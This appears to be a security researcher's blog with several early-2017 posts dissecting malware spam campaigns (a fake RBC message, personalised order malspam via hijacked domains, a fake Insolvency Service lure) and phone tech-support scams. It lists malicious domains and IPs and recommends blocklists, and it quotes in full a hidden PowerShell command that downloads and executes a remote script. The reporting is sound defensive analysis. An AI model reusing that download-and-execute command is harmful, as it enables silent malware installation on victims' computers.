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Wednesday, 15 February 2017

Malware spam: "RBC - Secure Message" / service@rbc-secure-message.com

This fake banking email leads to some sort of malware:



From:    RBC - Royal Bank [service@rbc-secure-message.com]
Date:    15 February 2017 at 17:50
Subject:    RBC - Secure Message
Signed by:    rbc-secure-message.com


Secure Message Secure Icon
This is an automated message send by Royal Bank Secure Messaging Server. To ensure both you and the RBC Royal Bank comply with current legislation, this message has been encrypted. Please check attached documents for more information.

Note: You should not store confidential information unless it is encrypted.
CONFIDENTIALITY NOTICE:The contents of this email message and any attachments are intended solely for the addressee(s)and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and any attachments. If you are not the recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.


RBCSecureMessage.doc
44K



Attached is a file RBCSecureMessage.doc which contains some sort of macro-based malware. It displays the following page to entice victims to disable their security settings.



Automated analysis is inconclusive [1] [2].  The domain rbc-secure-message.com is fake and has been registered solely for this purpose of malware distribution. In all the samples I saw, the sending IP was 64.91.248.146 (Liquidweb, US) but it does look like all these IPs in the neighbourhood are involved in the same activity:

64.91.248.137
64.91.248.146
64.91.248.148
64.91.248.150

I recommend you block 64.91.248.128/27 at your email gateway to be sure.





Highly personalised malspam making extensive use of hijacked domains

This spam email contained not only the intended victim's name, but also their home address and an apparently valid mobile telephone number:

Sent: 14 February 2017 13:52
To: [redacted]
From: <customer@localpoolrepair.com>
Subject: Mr [Redacted] Your order G29804772-064 confirmation


Dear Mr [redacted],

Thank you for placing an order with us.

For your reference your order number is G29804772-064.

Please note this is an automated email. Please do not reply to this email.

Get your order G29804772-064 details

Your order has been placed and items in stock will be sent to the address shown below. Please check all the details of the order to ensure they are correct as we will be unable to make changes once the order has been processed. You will have been notified at the point of order if an item is out of stock already with expected delivery date.

Delivery Address
[address redacted]
[telephone number redacted]

Delivery Method:
Standard Delivery


Your Order Information
Prices include VAT at 20%


Customer Service Feedback
We are always working to improve the products and service we provide to our customers - we do this through a continual review of the product range, and ongoing training of our Customer Service Team. We continually strive to improve our levels of service and we welcome feedback from our customers regarding your buying experience and the product you receive.

Feefo Independent Reviews
21 days after your purchase, you will receive an email from the independent feedback company Feefo. It takes less than a minute to complete and we'd really appreciate your feedback!


IMPORTANT INFORMATION ABOUT YOUR ORDER

Delivery

Order Tracking
Once your order has left our warehouse we will email you to confirm that the items have been shipped and include tracking details of the parcel so that you may track delivery progress directly with our courier company.

Stock Availability
On very rare occasions not every item will be available when we come to pack and despatch your order. If this is the case you will receive an email from us letting you know which items are affected and an expected delivery time.

Product Returns
All items purchased are covered by our customer friendly returns policy. Please visit for full details.
Thank you for placing your order with us. We really appreciate your custom and will do everything within our power to ensure you get the very best of service.

The data in the spam was identifiable as being a few years old. The intended victim does not appear on the haveibeenpwned.com database. My assumption is that this information has been harvested from an undisclosed data breach.

I was not able to extract the final payload, however the infection path is as follows:

http://bebracelet.com/customerarea/notification-processing-G29804772-064.doc
--> http://customer.abudusolicitors.com/customerarea/notification-processing-G29804772-064.doc
--> https://customer.affiliate-labs.net/customerarea/notification-processing-G29804772-064.zip

This ZIP file actually contains a .lnk file with the following Powershell command embedded in it:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -nop -ep bypass -nologo -c IEX ((New-Object Net.WebClient).DownloadString('http://cristianinho.com/lenty/reasy.ps1'));

I couldn't get a response from the server at cristianinho.com [5.152.199.228 - Redstation, UK], this looks like a possibly legitimate but hijacked domain that uses nameservers belonging to Namecheap. But that's not the only Namecheap connection, because the two "customer" subdomains are also using Namecheap hosting (for the record the subdomains are hosted on - 185.130.207.37 and 185.141.165.204 which is Host1Plus, UK / Digital Energy Technologies, DE).

Three connection to Namecheap is worrying, and certainly we've seen hijacking patterns involving other domain registrars. Or it could just be a coincidence..

The email originated from mx119.argozelo.info on 188.214.88.119 (Hzone, Romania). Just on a hunch, I checked the domain argozelo.info and it appears to be a wholly legitimate site about a Portuguese village, registered at GoDaddy hosted on Blogger. So why does it need a dedicated mail server?

Well.. this particular rabbit hole goes a little deeper. mx119 gives a clue that there might be more than one mailsever, and indeed there are 34 of the critters name mx110.argozelo.info through to mx143.argozelo.info hosted on 188.214.88.110 through 188.214.88.142. But according to Wikipedia, Argozelo only has about 700 inhabitants, so it seems unlikely that they'd need 34 mailservers in Romania.

So, my guess is that argozelo.info has also been hijacked, and hostnames set up for each of the mailservers. But we're not quite finished with this rabbit hole yet. Oh no.

What caught my eye was a mailserver on 188.214.88.110 (the same as mx110.argozelo.info) named mail.localpoolrepair.com which certainly rang a bell because the email was apparently from customer@localpoolrepair.com - yeah, OK.. the "From" in an email can be anything but this can't be a coincidence.

localpoolrepair.com appears to be a legitimate but unused GoDaddy-registered domain, hosted at an Athenix facility in the US. So why is there a mailserver in a Romanian IP block? A DIG at the records for this domain are revealing:

 Query for localpoolrepair.com type=255 class=1
  localpoolrepair.com SOA (Zone of Authority)
        Primary NS: dns.site5.com
        Responsible person: hostmaster@site5.com
        serial:2017021207
        refresh:3600s (60 minutes)
        retry:3600s (60 minutes)
        expire:604800s (7 days)
        minimum-ttl:3600s (60 minutes)
  localpoolrepair.com A (Address) 143.95.232.95
  localpoolrepair.com MX (Mail Exchanger) Priority: 10 mail.localpoolrepair.com
  localpoolrepair.com NS (Nameserver) dns2.site5.com
  localpoolrepair.com NS (Nameserver) dns.site5.com
  localpoolrepair.com TXT (Text Field)
    v=spf1 ip4:188.214.88.110/31 ip4:188.214.88.112/28 ip4:188.214.88.128/29 ip4:188.214.88.136/30 ip4:188.214.88.140/31 ip4:188.214.88.142/32  ~all
So.. the SPF records are valid for sending servers in the 188.214.88.110 through 188.214.88.142 range. It looks to me as if localpoolrepair.com has been hijacked and these SPF records added to it.

So we have hijacked legitimate domains with presumably a neutral or good reputation, and we have valid SPF records. This means that the spam will have decent deliverability. And then the spam itself addresses the victim by name and has personal details presumably stolen in a data breach. Could you trust yourself not to click the link?

Recommended blocklist (email)
188.214.88.0/24

Recommended blocklist (web)
5.152.199.228
185.130.207.37
185.141.165.204




Monday, 23 January 2017

WARNING: pmacademyusa.org / "Project Management Academy USA"

For the past six years I have been following the exploits of Patchree "Patty" Patchrint and Anthony Christopher Jones who claim to run a series of seminars on project management and grant writing. Umm.. and failed restaurants in Los Angeles. I'm not going to repeat all of the information in this post, I advise you to read the whole story.

This latest scheme is a quite snazzy-looking website at  www.pmacademyusa.org called "Project Management Academy USA".

The website may look professional, but it is simply done using the WIX website builder:


You'll notice that the site supplies no information at all about who runs it. However a useful tip alerted me to the site, which is basically a more glitzy version of the Institute of Project Management America from a few years back, including this lazy example of copypasta:

About Project Management Academy USA
At Project Management Academy USA, our programs are led by practitioners-working professionals who are experts in the process of maximizing results using professional project management practices. Modern industry needs results driven professionals who are focused on a disciplined dedication to effective project management from initiation to closing. We strive to combine real-world scenarios, actual case-studies, with the knowledge provided by PMI and academic foundations to create certified project managers who are prepared for further certification and credential. Our programs are ultra-foundational, meaning they ensure attainment of the universal basics of project management, prepare participants for certification exams, and provide the advantage of our mastery components, which are unique to our programs and are followed by a Masters designation.
They currently advertise courses running in the following locations:
January 17-20, 2017
University of Southern California
8:00am to 5:00pm

February 21-24, 2017
University of Miami
8:00am to 5:00pm

February 28 - March 3, 2017
University of Texas at Austin
8:00am to 5:00pm

March 21-24, 2017
University of California Berkeley
8:00am to 5:00pm

March 28-31, 2017
University of Chicago
8:00am to 5:00pm
Funnily enough, the venue seems to be changed at the last minute from the prestigious university it was advertised at to some other location in the rough vicinity. And also, at the last moment the person who was meant to be teaching the course is substituted at the last moment for someone who has to fill in and mysteriously seems to have problems getting paid (if this is you then please add a comment below).

If you have doubts about the quality of these causes, I urge you to read the posts and especially the comments that go with them. Those are not my words, but the words of the people unfortunate enough to either pay for a course or who turn up to teach.


Thursday, 19 January 2017

Malware spam: "The Insolvency Service" / "Investigations Inquiry Notification" / chucktowncheckin.com / chapelnash.com

This malware spam in unusual in many respects. The payload may be some sort of ransomware [UPDATE: this appears to be Cerber].

From: The Insolvency Service [mailto:service@chucktowncheckin.com]
Sent: 19 January 2017 12:22
Subject: EGY 318NHAR12 - Investigations Inquiry Notification



Company Investigations Inquiry
Informing You that we have received appeal regarding your company which indicates corporate misconduct.
Your Inquiry Number: 84725UPTN583
As part of this occasion we have made our own background investigation and if it occurs to be in the public interest, we can apply to the court to wind up the company and stop it trading.
Also if the performance of the director(s) who run the company is questionable enough, we can commence proceedings to disqualify them from governing a limited company for a time span up to 15 years.
FURTHER CASE DATA
The investigation can give us information that we can transmit to another regulatory body that has more suitable powers to deal with any concerns the investigation uncovers.
Help Cookies Contact Terms and conditions Rhestr o Wasanaethau Cymraeg
Built by the Government Digital Service
All content is available under the Open Government Licence v3.0, except where otherwise stated   
© Crown copyright

Sample subjects are:

LSV 354EMPU31 -  Investigations Inquiry Reminder
JXI 647TESR39 -  Investigations Inquiry Reminder
SHV 622WYXP68 -  Investigations Inquiry Notice
QPY 661APWZ41 -  Investigations Inquiry Notice
FHF 338SYBV85 -  Investigations Inquiry Notice
EGY 318NHAR12 -  Investigations Inquiry Notification
IZJ 296CNWP92 -  Investigations Inquiry Notice

All the senders I have seen come from the chucktowncheckin.com domain. Furthermore, all of the sending servers are in the same /24:

194.87.216.87
194.87.216.62
194.87.216.40
194.87.216.43
194.87.216.3
194.87.216.7
194.87.216.80

All the servers have names like kvm42.chapelnash.com in a network block controlled by Reg.ru in Russia.

The link in the email goes to some hacked WordPress site or other, then ends up on a subdomain of uk-insolvencydirect.com e.g. 2vo4.uk-insolvencydirect.com/sending_data/in_cgi/bbwp/cases/Inquiry.php - this is a pretty convincing looking page spoofing the UK government, asking for a CAPTCHA to download the files:


Entering the CAPTCHA downloads a ZIP file (e.g. 3d6Zy.zip) containing a malicious Javascript (e.g. Inquiry Details.js) that looks like this [Pastebin].

Hybrid Analysis of the script is rather interesting, not least because it performs NSLOOKUPs against OpenDNS servers (which is a really weird thing to do give that OpenDNS is a security tool).

The script downloads a component from www.studiolegaleabbruzzese.com/wp-content/plugins/urxwhbnw3ez/flight_4832.pdf and then drops an EXE with an MD5 of e403129a69b5dcfff95362738ce8f241 and a detection rate of 5/53.

Narrowing the Hybrid Analysis down to just the dropped EXE, we can see these peculiar OpenDNS requests as the malware tries to reach out to:

soumakereceivedthiswith.ru (176.98.52.157 - FLP Sidorenko Aleksandr Aleksandrovich, Russia)
sectionpermiathefor.ru (151.0.42.255 - Online Technologies, Ukraine)
programuserandussource.ru (does not resolve)
maytermsmodiall.ru (does not resolve)

It isn't exactly clear what the malware does, but you can bet it is Nothing Good™.

I recommend that you block email traffic from:

194.87.216.0/24

and block web traffic to

uk-insolvencydirect.com
studiolegaleabbruzzese.com
176.98.52.157
151.0.42.255



Thursday, 12 January 2017

Scam: 01254522444, the fake BT engineer and 888DCA60-FC0A-11CF-8F0F-00C04FD7D062

In the past few weeks I have seen a huge upsurge in the number of Indian tech support scammers ringing, both at home and my place of work. (For example.. this).

One common trick they use revolves around this hexadecimal number 888DCA60-FC0A-11CF-8F0F-00C04FD7D062. Either it's a signal that hackers are at your PC, or it's your secret router ID that only BT would know.

The conversation goes something like this..

Victim: "But I don't get my internet from BT.."

Scammer: "BT provides all the internet connections for everyone else, including TalkTalk and Virgin Media."

Victim: "How do I know you're from BT?

Scammer: "There is a confidential Router ID that only BT will know. You can verify this to prove that we are BT."

The scammer then talks the victim through pressing -R then CMD (followed by OK) and then ASSOC (followed by RETURN). That simply produces a list of file associations (e.g. to say that .xlsx is an Excel spreadsheet). The line they want you to see is:
.ZFSendToTarget=CLSID\{888DCA60-FC0A-11CF-8F0F-00C04FD7D062}
This is just something to do with how Windows  handles compressed files and folders. All Windows machines should have t his entry, but it looks sufficiently scary about to impress at least some victims.

NEVER GIVE THESE PEOPLE ACCESS TO YOUR PC.

However, if you want to waste their time please do so.. if you work in IT you can probably play a convincingly dumb user. It seems that they will try for up to 40 minutes or so before they give up. Alternatively, say that you have to get your laptop out from somewhere and it is very slow and just put them on hold. Every minute of their time you can waste will stop them targeting other potential victims.

And don't just ignore the call - report it. If you are in the UK you can report this sort of scam to Action Fraud - it will certainly help law enforcement if they have an idea of how many potential victims there are.